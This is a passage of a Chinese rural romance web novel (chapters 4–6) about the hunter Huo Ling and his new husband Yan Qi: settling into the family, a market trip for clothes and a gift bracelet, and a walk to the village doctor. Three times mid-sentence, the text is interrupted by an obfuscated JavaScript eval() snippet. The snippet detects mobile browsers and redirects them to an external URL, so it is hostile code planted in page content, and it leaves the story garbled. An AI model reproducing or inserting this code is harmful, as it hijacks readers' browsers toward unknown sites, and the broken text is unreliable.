此外院里左右两侧还各有两间小屋,黑黢黢的没点灯,不似住人的,多半是存粮和杂物的仓房。 大个儿听见霍凌的声音,早已狂奔出了院门,拉车的牛见了大狗,不安地原地踏步。 “一边儿去,别吓着牛。” 霍凌把它往旁边赶,霍峰和叶素萍闻声出了屋。 “可算回来了,你哥往门外看了好几趟。” 叶素萍打量颜祺,发现他身上披着霍凌的衣裳,看样子两个人相处得不差。 “郎中怎么说?” 霍凌拎着药包慢一步跳下车,霍峰接过去,说让他先进屋吃饭,自己去周家代他还车。 “已退了热,开了三副药,说吃完后再去一趟,好换些调养身子的。” “那就好,一概听郎中的,年纪轻轻,可不好落下什么病根。” 叶素萍语气和善,令颜祺少了些紧张。 这时屋里的霍英不知遇见了什么事,扯起嗓子喊娘,霍凌遂道:“大嫂你进屋吧,外面有我,锅里可有吃食?” “有呢,特地给你俩留的,锅里是粥,菜在笼屉上,一直温着。” “辛苦大嫂。” 颜祺听霍凌这么说,也跟着谢了一句,把叶素萍说得欢喜。 “客气什么,往后都是一家人。” 最要紧的是颜祺这一声“大嫂”叫得好,下半晌霍凌不在,霍峰夫妻俩念叨了半天这事,不知往后小两口能不能齐心过日子。 先前没细想,如今这事真成了,少了提亲下聘那一套,加在一起,总好似差点意思。 这会儿见颜祺肯叫人,心里也就踏实了。 院里重回安静,只有大个儿绕着颜祺一个劲闻。 在它眼里颜祺是霍凌带进家的,还穿着霍凌的衣裳,气味熟悉,白日里又见过,所以没有乱叫。 霍凌弯腰摸摸大个儿脑袋,指了指颜祺道:“这也是咱家人。” 大个儿像是听懂了,上前用鼻子拱了拱颜祺的手。 颜祺莞尔,顺势挠了挠大个儿的下巴颏。 4. 一张床 颜祺一路跟着霍凌进灶屋,方知正屋里当中的一间就是灶屋,左右连着两间卧房。 霍凌见颜祺左右张望,加之过去也听说关内民宅的样式与关外不同,解释道:“关外天冷的时日长,小半年都在烧炕,冬日里菜好了就能端进屋吃,不然在外走两步,汤水都能结成冰。” 他叫上颜祺一起,进了自己住的西屋,摸到油灯点亮。 颜祺打量一圈,发现屋里摆设简单却洁净,靠墙一条火炕,炕头叠放着枕被,中间则是张四方的炕桌。 旁边空地上有一只旧木柜,上面摞一只木头箱,此外还有角落里白惨惨的大件儿,他盯着细看,看了半晌才认出好像是双鹿角。 “那是你猎的鹿?” 哪个汉子不乐意显扬自己的本事,见颜祺感兴趣,霍凌单手提半边鹿角过来,“咣当”放在颜祺脚边,让他随便看。 “不是猎的,是捡的,这时节山上到处都是公鹿换下来的鹿角,你要是喜欢,回头我也带你去捡。” 留下鹿角,他出门盛饭,不知门后的颜祺正小心翼翼地蹲下,伸手先是戳了下鹿角,又大着胆子摸了摸。 农家不可能顿顿荤肉,昨日吃了肉,今日的晚食便是一锅高粱粥,一盘子大白菜炖豆腐,锅边还填了几个杂面馒头。 霍凌端着饭菜进门搁在桌上,放下后先给了小哥儿一碗粥。 粥水的温度透过碗壁传到手掌心,颜祺凑近些,小小地喝了一口,只觉得周身都暖了。 鼻子一酸,一滴泪珠不受控制地砸进碗里,他忙放下碗,拿手背蹭眼睛。 他是不爱哭的,从前在家也不怎么掉泪,今日不知怎的,好生丢人,只想快点忍过这遭。 霍凌看在眼里,也停了筷,拿不准该怎么安慰,他哪干过这样的精细事。 想了想,侄女英子哭闹的时候,他拿点吃的就哄好了,便又去灶屋里翻了翻,自罐子里翻出一枚咸鸭蛋。 回来在桌上一磕,青壳子就破了,往下凹的地方使筷子扎下,淌出黄灿灿的油。 “大嫂最拿手的腌咸蛋,配粥吃下饭得很,你尝尝。” 他筷子一撇,把整个蛋黄都夹进了颜祺的碗,自己啃了一口剩下的蛋白。 谁不知咸蛋的蛋黄最金贵,蛋白空口吃只有咸味,一点不香。 酸涩的情绪只一瞬,颜祺压下去后吸了吸鼻子,趁蛋黄还没彻底沉下去,又分出一半还给霍凌。 “你也吃。” 霍凌吃饭狼吞虎咽,见状赶紧拿半个馒头去接,嘴上道:“就一个咸蛋,还得怎么分。” 不过这几口馒头,确实吃起来比往常更香。 想到过去总见饭桌上哥嫂互相夹菜,往后在山里,他也能这么干。 中途霍峰回来,和颜祺打了个照面,颜祺起身喊了“大哥”。 于霍峰而言,只要是小弟看得上的,乐意娶亲就谢天谢地,如今进了门更是自家人,便让颜祺别客气。 “我家老二是个犟脾气,你以后多担待,他若欺你,你只管找我和你大嫂评理,我们替你教训着他。” 颜祺孤身一人来此,没有娘家人撑腰,汉子家更得做出姿态来好教人放心。 片刻过后,叶素萍送一条刚裁出的新布巾,一套自己的旧衣裳到这边。 “我已让你大哥去烧水了,一会儿打了水简单洗洗,头发就先不洗了,当心着凉,等白日出太阳再说。完事后身上这套衣裳不要了,晚上你先凑合穿我的,多少比老二的合身些,横竖在自家里,不丢人。” 她是妇人家,心思细,霍凌则是后知后觉,意识到家里添了个人,要周全的事属实不少,他两口咽下手里最后一块馒头。 “我想着明日去集上给他买身现成的,再扯几尺布。” 叶素萍颔首,没说这般做费银钱的事。 娶亲的是老二,花钱的人也是老二,她这个做大嫂的不好管太宽。 “这样最好,有一身穿的,再做一身换洗就差不多了。” 又指了指衣裳里裹的兔毛坎肩。 “这也是我从前换下来的,本想过阵子拆了改小些给英子穿,你先拿去穿在里面,暖和得很,等来年入冬前再制身新的。” 她顺势问颜祺会不会裁衣,颜祺说会。 叶素萍复笑道:“如今我也是有妯娌的人,回头咱俩一起做。” 她本还想说,屋里多个哥儿,要置办的零碎东西不止衣裳,却担心在这说多了颜祺过意不去。 哥儿少言寡语,经历那么多,心思本就重,遂打算明天趁霍凌出门前再嘱咐。 吃罢晚食,霍凌本想自己收拾,颜祺非要上手,他想着活计轻省,任他去了。 两人一个刷锅一个洗碗,默契得很。 大锅里热水沸腾,霍凌兑了两大盆出来。 “你先洗着,好了喊我,盆子盛满水太沉,你端不动。” 屋门被人从外面关上,颜祺知道时辰不早,怕耽误霍家人睡觉,没多犹豫,快而安静地脱了身上的脏衣。 这身衣裳还是从老家穿出来的,是娘亲一针一线的手艺,哪怕已破破烂烂,他也不舍得丢,仔细叠好放在一旁,想着明日洗洗,往后就收到箱子底。 盆里水温热正好,摸着暖手暖心,盆边除了新布巾外还有一把皂角。 颜祺蹲在地上,打湿布巾,一点点擦身。 布巾涮了几回,眼看清澈的水变得些微浑浊。 实在脏得很,他脸颊微红,又加重了几分搓身子的力道,后背也用两手拉直了布巾,绕过去来回蹭了好几遍。 差不多以后他换了盆水,仔细又洗了一个来回,周身恢复清爽,只可惜头发还洗不了。 他用布条重新束了一遍,思忖着一会儿问问霍凌有没有旧布头,给他一块把头发裹住,这样不会脏了枕褥。 倒水一事上他不想麻烦霍凌,自己以前在家照样下地干活,力气不小,却忘了今时不比往日。 满水的木盆果然沉得厉害,他费了半天劲,也就挪动了一丝,只好硬着头皮去喊人。 屋外。 霍凌洗漱快得很,洗脸漱口加冲脚,三两下就好了。 为了等颜祺,他搬了个凳在仓房门口陪大个儿扔骨头玩,时不时看一眼门窗。 看着看着,忽而想到小哥儿此时在里面做什么,把自己想得脸红耳热,不得不又起身去打了点凉水洗脸。 足扔了几十个来回,屋子朝院里开的窗方才推出一条缝,小哥儿露出个脑袋,小声喊他名字,音调低而软。 沉甸甸的盆子在霍凌手里轻若无物,地上余些水渍,晾一阵就干了。 他要的旧布霍凌也给他找了出来,是条破了个洞的汗巾子。 “洗干净的,没舍得扔。” 村户人家哪个不节俭,衣服烂得实在补不了,也会留着做鞋面、打袼褙。 “等我用完再洗洗。” 颜祺怪羞赧,侧开身去,低头把头发尽数裹进布里,一根头发丝也没露。 事情都做完,时辰不早,霍凌让小哥儿睡里面,独自踩着布鞋去吹熄了灯。 屋内唯剩月光映亮桌椅轮廓,空气里飘着淡淡的皂角味,他察觉得到小哥儿的紧绷,只说了两字:“睡吧。” 颜祺捏着被角,呼出一口气,慢慢阖上眼睛。 —— 第二天是个艳阳天。 霍凌错过了十五的大集,但镇上平日也有集市,只是没初一十五那么热闹,来的人也少。 带下来的山货还没出手,他等不到下个初一,如今屋里有了夫郎,干劲更足。 依他看,酒席还是要摆的,不然名不正言不顺。 除了酒席,山上和山下都得添置东西,这些本是定亲后男方这边准备的,现在顺序颠倒,照样省不得。 此外离家前大嫂和他列了几样哥儿家的日用,他挨个记下,预备等山货卖完就去逛逛,遇见了就买。 关外太平,地广人稀,种地就能填饱肚,常年在山里讨生活的人越来越少,大部分只在八月采参季时进山碰运气。 眼下青黄不接的时候,大集上贩山货的人尚不太多,今天从街头到街尾,更是只有霍凌一个。 大鹿角一摆,一下子围过来好几人,但霍凌打眼一看就知道都是凑热闹,没有掏钱买的,因此没费心招呼。 背篓里倒出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691354|173364||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来的东西有桦树茸和松黄,以及几朵猴头菇。 前两样白龙山里四季皆有的药材,前者生于桦树,后者与松树伴生。 采这两样东西讲究技巧,单块越大的越值钱,若是敲得太碎就容易被压价。 不过因药效不差,向来不愁卖,有人零散着买回去泡水补身子,也有倒腾药材的走商一股脑收走,后者给的价比散卖低,但能一下子结一笔钱,不必守着摊空耗。 猴头菇则都是年前长的,在寒冬里风干得彻底,趁雨季前尚能捡漏,否则等第一场雨落下,全数泡烂,便只能等今年新的菇子生出来。 霍凌搬块大石头垫着坐,先将猴头菇卖出,干货论两称,得了二十文,是一妇人要拿去炖鸡待客。 桦树茸近六斤,一斤时价五十文,松黄四斤冒头,时价一斤三十文。 因不是大集的日子,没有走商来此,只得散卖,熬到午间集都快散了方卖空,加在一起到手四钱多铜子儿。 比起这些,鹿角就难售不少,要是昨日来,霍凌有把握卖出去,一日之差,生意冷热着实悬殊。 不过这东西不怕放,大不了下次再来,他把鹿角重新栓好提起,收了摆摊的草席一卷,趁别家收摊前赶紧去逛。 镇上该有的都有,啥也不缺,他寻了个布行,看靠墙竖起的杆子上悬了不少成衣。 成衣不及扯布自己做实惠,买的人很少,布行悬些成衣多是为了展示自家布料子的好坏。 一听有人打听成衣价钱,伙计动作麻利得很,生怕霍凌作悔的模样。 “您瞧瞧这件,料子多结实。” 又翻开衣裳给他看针脚,“我家裁缝的手艺没话说,针脚直,首尾也收得好,买回去只管穿个三年五年。” 一件粗布衣裳穿个五年,洗也洗得糟烂了,不过卖货的总是喜往夸大了说,不然怎显出自家东西好。 霍凌也做生意,不当回事,只伸手翻着看了看。 哥儿衣裳的样式与男子无异,区别在颜色鲜亮,男子惯穿黑、灰、褐,换做哥儿,像什么靛蓝、竹青、菊青之类最常见,更浅的干活容易脏,乡下人极少会买。 眼前这身则是沉香色,霍凌想了想颜祺的模样,觉得不太衬气色,让人换了靛蓝的。 又比较一番,将竹青色的粗布扯与那做里衣的白坯棉布各扯足了尺寸,前者做一身,后者做两身绰绰有余。 “买你这好些,你给我个实在价,再搭我些碎布头使,我穿着好,下回还来寻你。” 卖布伙计做为难状。 “小店本就只有薄利,实是让不了太多。” 来往说了几回,最后将成衣价让到二百文,半匹粗布七十文,棉布别看没染色,沾了棉就便宜不了,饶了半天只去了个零头,原是一百六十文,现只收了一百五十文。 布头也给了,各色在一起足有一打,且还赠了一双袜儿。 这下子半日赚的已是要花干净,但霍凌没什么不舍得。 原先就常给家里添置物件,买些吃食零嘴,现下给自己夫郎买,愈发收不住手。 衣裳料子外,在外头小摊上捡了一支猪毛的刷牙子,想着牙粉快用完了,以后就是两个人用,耗的更快,索性一并要了一盒。 又买一把木梳、一把铁剪、几根粗针细针、几样棉线彩线,眼看把大嫂嘱咐的都买全了,他把东西收拢在一处,卷进衣裳里省得弄丢,仍边走边往两处看。 片刻后停在一摊子前,这处是一妇人,贩些红绳编的饰物,过年时他曾买一对儿缀着银珠的红头绳给侄女霍英,还教大哥念叨好几日,说他乱花钱。 “这手绳怎么卖?” 他打量一圈,看好一挂着桃木葫芦的。 昨晚他其实没睡实,知晓颜祺夜里也醒了两回,呼吸杂乱,一个劲往被子里躲,怕是做了噩梦。 素有桃木压惊,葫芦保平安的说法,寓意不差,送人正应景。 这等小玩意不算贵,也就当中的木雕值点钱,霍凌给了二十文,揣进怀里妥帖放好。 末了不忘在糖铺子包二两切成指头大小块的饴糖,往肉摊儿上割了一斤带肥膘的肉,用叶子裹了,打道回府。 5. 小葫芦 村口处,一群小子在撅屁股玩泥巴。 二毛见了他,顶着张小花脸兴高采烈地跑过来。 “二凌叔,我小爹说你娶了新媳妇!是真的不?” “小小年纪,成日里惦记新媳妇。” 霍凌笑道:“不是新媳妇,是新夫郎。” “那有喜酒吃没?” 半大小子们最惦记吃喜酒,在乡下,除了过年的年饭,基本只有吃席时能敞开吃肉,沾一顿油水能回味俩月。 别说孩子了,大人听见也要高兴。 霍凌想了想道:“有,只是现下还不知日子,放心,保准少不了你们。” 一言既出,换来小子们一顿欢呼。 …… 太阳当空挂,鹿角在脚下拖出长长的枝桠状的影子。 “汪!汪!” 大个儿永远是第一个听见霍凌回来的,隔着几丈远就急得在家仰脖叫。 霍凌加快步子,院门适时从里面打开,开门的却不是叶素萍,而是颜祺。 他该是洗了头发,正披散着长发晾干,几缕细软青丝沿着肩头滑下,身上套的是叶素萍的衣裳,并不奇怪,只是仍显得宽大。 霍凌眨眨眼,仿佛眼皮子被烫了一下。 “你回来了。” 颜祺察觉到霍凌的视线,不太自在地摸了摸头发。 “嗯,回来了。” 霍凌干咳一声,像是才刚找回自己的舌头。 “怎么洗头发了,进屋去待着,当心见了风头疼。” 颜祺想帮霍凌拿东西,可一看那偌大的鹿角,也知自己提不动,别的东西都在身后背篓里,也不方便伸手去接 只好下意识地跟在汉子身后,步子不敢迈很大。 “已经干了,灶屋里烧着火,我一直在里面烘来着。” 晚来一步的叶素萍看着这情形,忍不住笑。 怎么这俩人遇一起这般拘谨,她不知颜祺,但老二可不是腼腆人。 霍凌并不知颜祺跟在自己后面,转身时差点撞了他。 他尴尬地抓两下后脑勺,“你走路咋也没动静。” 颜祺连忙后退一步。 霍凌想说自己不是那意思,他想跟着就跟着,可看小哥儿低着头不言语,这话又不好说了。 “老二饿了吧,祺哥儿,我这空不出手,你给他端碗饭。” 叶素萍看不下去,出声给手脚不知道往哪里放的颜祺指了条明路。 “啊,好。” 颜祺连着点了几下头,重新钻进了灶屋。 见他走了,叶素萍无奈摇摇头,上前拍了霍凌胳膊一下。 “你得和祺哥儿多相处,他从前不见得是这个性子,在咱们这儿到底人生地不熟。” 霍凌人高马大地叹气。 “我知道。” 他摸了摸前襟,想着幸亏买了手绳,一会儿就拿这个起头说话,再不济就把大个儿叫进屋,两个人逗逗狗。 霍凌今天为了买东西,回来得晚,饿得肚子打雷,先把肉挂上梁后防耗子偷吃,接着便是一顿风卷残云。 颜祺守在一旁。 叶素萍拦了他一上午,这也不让干那也不让干。 而霍家人不开口,许多东西他不好擅自碰,只得等霍凌吃完,预备着收拾碗筷。 “药喝了么?” 饭后,颜祺坐在一旁的小板凳上披着头发认真洗碗,霍凌看见矮炉上的药罐,打开瞧了一眼,里面还有剩下的药渣。 马胡子开的药大多是一副煎两次,早晚各一次。 颜祺的气色比昨天初见时好了不少,想想也是,哪怕底子再亏空,但绝对算不上体弱,不然哪能挺到出关。 霍家人都默契地不问颜祺关于逃荒路上的事,免得揭人伤疤,连最小的霍英也专门嘱咐过。 童言无忌,小孩子有时爱学大人讲话,实际说的什么自己也不完全懂。 “喝了,早晨是大嫂帮我煎了药。” 他端着手上的碗,有些局促。 “是我不好,起迟了,醒时大哥去地里,大嫂说你也早就出门了。” 哪怕是正经娶过门的新夫郎,也没有第一天就万事不管睡懒觉的,需知婆家往往最忌讳一个“懒”字。 昨儿夜里他做噩梦都是被霍家赶出门,结果一早还是睡过了头,慌得下床时差点跌倒。 霍凌盖上红陶制的药罐。 “你是病人,能睡多些是好事,换了我在家也不会叫你。” 他忖了忖,换了个说辞。 “你就想,早日好起来,也能少吃几副药,也是省钱了。” 颜祺何尝听不出这是霍凌在宽慰自己,他点点头,“我记得了。” 家里活计不少,想做永远做不完,但叶素萍看出,只要霍凌不闲着,颜祺也不好意思进屋歇息,就硬是把两人齐齐赶进屋。 “你陪祺哥儿歇个晌,对了,衣裳和料子买了没?” “都买了。” 霍凌摆出一桌,霍英也跟过来,垫脚扒着桌沿看,一眼发现装糖的油纸包。 “小叔,那个是什么?” “你猜猜,猜对了就给你。” 霍凌故意道。 小姑娘聪明得很,猜一次就对了,也是霍凌每回下山去集上,都会往家带东西的缘故,左不过点心和糖果子,偶尔还会买烧饼之类的吃食。 霍凌让颜祺揭开油纸,给霍英分糖。 霍英看了一眼自己娘亲,伸出小手只从中抓了一块。 “吃了糖,应该说什么?” 叶素萍指了指颜祺,提醒她。 “要说谢谢婶伯。” 她已经知道颜祺是小叔娶的夫郎,乖巧的小姑娘谁不喜欢,颜祺弯了弯眸。 二两饴糖分了两包装,霍凌小声跟颜祺讲,让他把那一包都给霍英。 “小孩子好哄,你给她几回东西,她就和你混熟了。” 叶素萍哪里猜不到霍凌打什么小九九,伸手拦道:“你俩别惯她,糖吃多了坏牙,这东西也不便宜,留着回头上山慢慢吃。” 霍英已经抱着糖在舔,顾不得听大人之间的对话,喜滋滋道:“小叔这次买了好多糖。” 霍凌闻言看了看颜祺,小哥儿正低头认真地把打开的油纸折回去,免得霍英拿走时撒一地。 “嗯,这次多买了些,给你婶伯吃的,他喝的药太苦。” 颜祺动作一顿,霍英却恍然大悟,“是哦!” 她生病吃药时,爹娘和小叔也会给自己买糖的。 小姑娘个子矮,扯了扯颜祺的袖口,一本正经道:“婶伯我教你,你少吃点药,多吃点糖,这样就不苦了。” 惹得在场几人都忍不住笑起来。 一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691355|173364||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 包饴糖很快全到了霍英的怀里,高兴得就差满地打滚。 叶素萍没空理她,在一旁先是抖开成衣摸了摸,又拿起料子让颜祺凑近些,对着胸前比量,笑道:“这两个颜色挑得好,鲜亮不说,耐看又耐脏,棉布也软和,就是你也没个数,一扯好些布,做完衣裳还能剩下不少。” “那就再裁几条帕子、头巾什么的,或是留着下次用。” 霍凌不懂裁缝的事,只想着颜祺到自家来双手空空,肯定什么都缺,布这东西纵使多买些,也没有浪费的。 “是这个理。” 叶素萍夸他细心,娶了夫郎就是不一样。 霍凌清清嗓子,低头收拾东西,仿佛很忙。 叶素萍没留意,低头麻利地折好衣裳和料子,同颜祺道:“你自己掂量着做,我也帮你一起,新的这套过一遍水,现在这个天儿,吹一夜就干了,明日就能穿。” 一下子得了新衣裳和新布,颜祺很感激霍凌,遂想了想,决定之后用多余的布给霍凌做点什么。 还有家里其他人,也不能落下。 商量好做衣裳的事,叶素萍带走了一个劲上蹿下跳的霍英,分明是个姑娘,却实打实是个皮猴儿,从小就闹人得很。 等人离开,霍凌不知从哪里寻了个旧柳筐,小小一个,正好放在炕桌上。 “这个给你当针线筐子,你再看看缺什么,回头我再去买。” “很齐全了,不缺什么。” 颜祺侧坐在炕上,依着霍凌的意思,把几样东西挨个放进小筐。 他压根没想到霍凌还买了一把新梳子,不禁问道:“我看你炕头有把梳儿,怎又买了一个?” 霍凌道:“那梳子被我用得糙,梳齿都缺了好几个,总挂头发,扯得头皮生疼,一把新的也不贵,能用好些年。” 他打量小哥儿神色,“我特地挑了个刻花儿的,你喜欢不?” 颜祺抿唇浅笑,“喜欢。” 这会儿没有别人在,他诚心道:“谢谢你与我添这些日用,我从来你家,总在花你的银钱。” 霍凌不爱听这个。 “以后这话不用提,一起过日子,说了岂不生分。” 眼前外面大嫂和侄女说着话进了东屋,他掩了门,朝小哥儿招招手。 “还有一样,你过来瞧瞧如何。” 说罢自衣襟里拿出那红绳来,让小哥儿仔细看,颜祺的手指摸了摸质地光溜溜的小葫芦,眼底难掩惊讶。 “这……也是给我的?” “还能给谁,我也戴不上不是。” 霍凌打了个趣儿,让他伸出手来,自己扯松了红绳帮忙系上。 红绳收到最紧,还是在小哥儿腕子上来回晃荡,霍凌捏了一下那对儿两侧突出来的骨头。 “以后多吃点饭,养胖些身子骨才结实,不然我们这儿冬日里太冷,山里更甚,容易生病。” 颜祺任他攥着手腕,说不上自己是什么心情。 哪怕今天只是认识霍凌的第二日,他也已觉出汉子对自己的关照。 对于姑娘和小哥儿而言,嫁鸡随鸡嫁狗随狗,成亲后日子好不好,全看找了个什么样的汉子,有的人命好,有的人命苦。 昨日霍凌愿意领自己回家,他就知晓霍凌是个好人,如今更是确信了这一点。 心头的最后一点疏离,也在这一刻消散了。 6. 急不得 喝罢三天苦药汤子,总算到了去麻儿村寻马胡子复诊的时候。 一早吃罢早食,两人结伴出了门。 霍凌见小哥儿走在离自己半步远的地方,不再是低着头跟在身后,自觉两人比先前是亲近了些。 他心里有数,有些事不能强求,乍一下将两个陌生人捏在一起,别说是颜祺,大大咧咧如自己,也时常不知该如何相处。 对方就像是在林间见着的兔儿,看着神情如常,实际始终绷着一根弦。 他无意将对方逼太紧,就说过去三晚上两人虽睡一张炕,盖的却是两条被。 “麻儿村不远,咱们不赶时辰,慢慢走着去。” 上回借了牛车是因颜祺走不动路,总去借牛车也不好,牲口金贵,各家都宝贝着,借一次便是一次的人情债。 颜祺也没想着回回出门都能坐车,那得是什么好人家的日子,村户人早就习惯了去哪儿都靠两条腿,莫说三刻钟,去镇上乃至县城,赶上不舍得花销的,两三个时辰也能走下来。 “嗯,有个作伴的,说着话也就到了。” 霍凌闻言恍惚一下子,心想,以后我也是有人作伴的了。 怪不得当初大哥刚成亲时天天呲着大牙傻乐,大嫂还成日嫌他像个傻子。 可见成亲是不错。 出村一趟费脚程,霍凌没空手,特地拎了家里的两只油壶,提了一口袋火麻籽,预备去麻儿村的油坊榨些灯油。 火麻籽就是野麻的种子,这东西遍地都是,除却野生野长的,还有各家在地头特地种的,一概都叫野麻。 因麻籽能榨油,还能扒麻杆搓麻绳,家家户户都离不了。 一斤麻籽一般能出三两上下的油,而一斤灯油若省着些用,能用上一个月。 正好山上山下灯油都剩的不多,昨晚霍家兄弟俩特地去家中杂屋里称了十斤麻籽,都是去年秋后家里打下来后存住的。 一次多榨些,就有日子不必再去,尤其霍凌还要从山下往山上带。 大清早村路上人不多,偶尔有一个,多是出来打水的汉子,家里一早都赶着要水吃用,皆行色匆匆,和霍凌点点头打个招呼就罢,路边树下也未有聚在一处说闲话的人,倒让颜祺松了口气。 进了霍家门三日,他都在养病,那药喝下去就惹人困顿,总想睡觉,压根没迈出过门。 今天出门且要走远路,他已做好了要被村里人评头论足的准备,不过好在这会儿暂且不用应对。 霍家在下山村靠东的几户,走到西边时霍凌忽而指了指其中一户。 “这就是林家,你认个门,回头也好和肖家哥儿串门子。” 颜祺顺势看了看左右,仔细记清楚位置,这户也好认,看得出林家的日子过得不算太好,像村里好些人家的木屋都已是瓦顶了,甭管新旧,起码都使的是青瓦,一路看过来,独林家还是稻草顶。 霍凌见颜祺都走过了还在扭头往回看,想来和肖明明交情不差,便有意跟他多说了几句林家的境况,好让他放心些。 “林长岁是个正派汉子,除了说话不利索,旁的都可靠。” 随后又说起林家这几年穷苦的因由。 “他那爹活着时是个酒蒙子,几碗马尿下肚就不知自己姓啥,打完媳妇打孩子,把家底喝得穷薄不说,后来更是生生把自己喝死了,为了给他瞧病,还赔进去家里几亩良田。不过自他没了后,林家的日子倒是过得平顺起来。” 平日林长岁除了和他娘一道种地,农闲时还会去镇上做些散工,再加上素日节俭,无甚大的花销,估计熬过这几年缓一缓劲儿,日子就能越发好过。 颜祺听了这话,心头果然松快了不少,他遇上了霍凌自觉是撞了大运,也盼着肖明明能嫁个好人家,往后两人一道在下山村还可互相照应。 彼此都没了亲眷,便当对方是娘家人。 “吃酒是不好,原先我老家村里也有个老汉,惯是爱吃酒的,整日红着一张脸,家里夫郎忍不下,索性抱着孩子改嫁,后来人也是没了。” 难得颜祺主动开口说点什么,霍凌忍不住问:“是怎么没的?” 颜祺回忆一番道:“是个大雨天的第二日,土路湿滑,雨水积成个大水泡子,他醉了后脚滑跌进去,偏巧脸朝下,就那么给淹死了,我后来大着胆子去看那水泡子,实则还不及小腿深,按理说,哪能淹死人呢。” 可见人要倒霉,怎也躲不过。 霍凌听罢,说道:“我向来没有吃酒的习惯,也就偶尔起兴时才喝些,轻易喝不醉,赶山前更是一滴不碰,你放心就是。” 这话说在了颜祺心坎上,确实自少时听闻那件事后,他就对酒这东西敬而远之,家里长辈过年节时打酒来吃,也总是早早煮好醒酒汤备下,免得惹出什么灾祸。 “汉子多是喜吃几口酒的,心下有分寸就好。” 在他看来,酒是粮食酿的,有那银钱多买些粮来多好,何必非要吃酒。 他曾蘸着筷子尝过一丁点高粱酒,只觉得辣嗓子,咽下去后热气直冲天灵盖,差点把他眼泪激出来,根本不好喝。 但这话他没和霍凌讲,讲多了显得自己要管人家,惹了厌烦多不好。 霍凌却瞧着挺高兴,还补了一句,“嗯,都听你的。” 行至村口,前面现出好几个挎着篮子结伴去地里挖野菜的村人。 当中有妇人也有夫郎,三两相携有说有笑,若只霍凌一个汉子,以他的习惯,多半直接闷头走过,但这回多了颜祺,难免被人唤住搭话。 “霍二,一早的这是往哪去?” 霍凌回身去看,见是齐家的红梅嫂,她和叶素萍关系近,常约在一处做针线,遂提起手里的布口袋晃了晃。 “家里灯油见底了,赶早儿去麻儿村一趟,好换些灯油来。” 相比齐红梅,她身边的另一妇人眼珠子一直挂在颜祺身上,上下打量个没完。 “这就是祺哥儿吧?来村里几日了,你小子藏得深,我们愣是一眼没见着。” “他身上不爽利,几日都病着,这不今日瞧着天好,和我一道去麻儿村认认路。” 霍凌不提要带颜祺去看郎中的事,对于外人,他一向是能少说便少说,否则压根猜不到等你走后,同样的话落在不同的人嘴里,会传成什么样。 颜祺跟着喊了人,虽不认识,都叫嫂子总没错。 说话的妇人是齐红梅的弟妹金氏,曾想给霍凌说亲,最后没成,为免她继续说些有的没的,齐红梅趁机插话道:“那你们赶紧去,别耽误了,去晚了油坊那头有人抢了先,又要多等好一阵。” 话说完便也就此分开,金氏等人走远了,朝齐红梅努努嘴,“嫂子你可瞧见了,那哥儿一身簇新衣裳,霍老二真是舍得。” 又道:“颜家哥儿病恹恹的,还没进门就先吃药,去麻儿村怎可能只是为了榨灯油,多半还是去找马胡子。” 她“啧”几声,“本还以为霍老二多高的眼光,拖到今日,愣是配了这么一号。” 想当初她曾想把自己娘家堂叔家的哥儿说给霍凌,然而任她怎么说霍凌赚得多,家里月月都要吃几回肉,连狗都有棒骨啃,堂叔家仍是不乐意,还怪她怎说个赶山的汉子,哪是盼堂弟好的样子,把她气得够呛。 然则人到底是爱偏向自家亲戚,这事过了两年,金氏眼看颜祺这等模样不多出众的哥儿进了霍家门,都能混一身新衣裳,不怪堂叔家没眼光,反倒酸起颜祺来。 齐红梅眼皮都不抬一下,淡淡道:“又没花你的钱,扯你的布,管那么多作甚。” 金氏鼻子里哼出一口气,还待说什么,一低头却先看见一片婆婆丁,顿时把霍老二抛到脑后。 “嫂子快来!” 天大地大,再没什么比这时节挖野菜更要紧的。 另一边。 霍凌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691356|173364||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和颜祺走了好半晌,说了不少话,不觉腿脚累,待瞧见了路那头的几间村屋,便知是到了麻儿村的地界。 榨油需要时间,故而先去了王家油坊放下火麻籽,若是自带麻籽来榨油,一斤只收两文钱,比直接买火麻油便宜许多。 霍凌数了二十个铜板给出去,王家夫郎收了银钱,见颜祺眼生,问道:“这是你家的谁,从前没见来过。” “是我夫郎,姓颜。” 王家夫郎惊讶一瞬,邻近几个村谁不知霍家老二打了好些年光棍,没成想不声不响地领了个哥儿回家,面上客气寒暄,“原是颜哥儿。” 随后彼此说定晚些时候来取灯油,霍凌和颜祺这才离开。 相较油坊,马胡子家更好寻,嗅着草药味走便错不了。 马胡子见来人是霍凌和颜祺,喊人进屋坐。 “你们来的倒是早,可见是把这事放在心上的。” 身为郎中,哪个不喜这样听话的病患,最怕那等怕花钱躲着不来看诊的,等小病拖成大病,叫悔也来不及。 